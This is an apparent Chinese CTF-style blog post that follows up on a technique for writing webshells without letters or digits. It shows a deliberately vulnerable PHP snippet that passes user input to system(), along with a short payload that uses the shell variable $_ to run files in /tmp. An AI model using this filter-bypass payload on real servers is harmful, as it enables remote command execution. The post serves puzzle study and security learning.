关于p神的无字母数字webshell之提高篇的思考

这篇文章是记录看了p神的无字母数字webshell之提高篇后发现的一个黑魔法

先介绍一个Linux变量$_,它存储着上次程序传入的参数。

比如执行echo can you get the file of tmp命令后,再执行echo $_,发现结果是tmp

我们把题目条件改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>10){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
eval("system(\"echo can you get the file of tmp;".$code."\")");
}else{
highlight_file(__FILE__);
}

payload为

1
?code=. /\$_/*

不知道会在哪场比赛最先出现呢

有个问题是在docker里面payload会失效,之后换个参数看看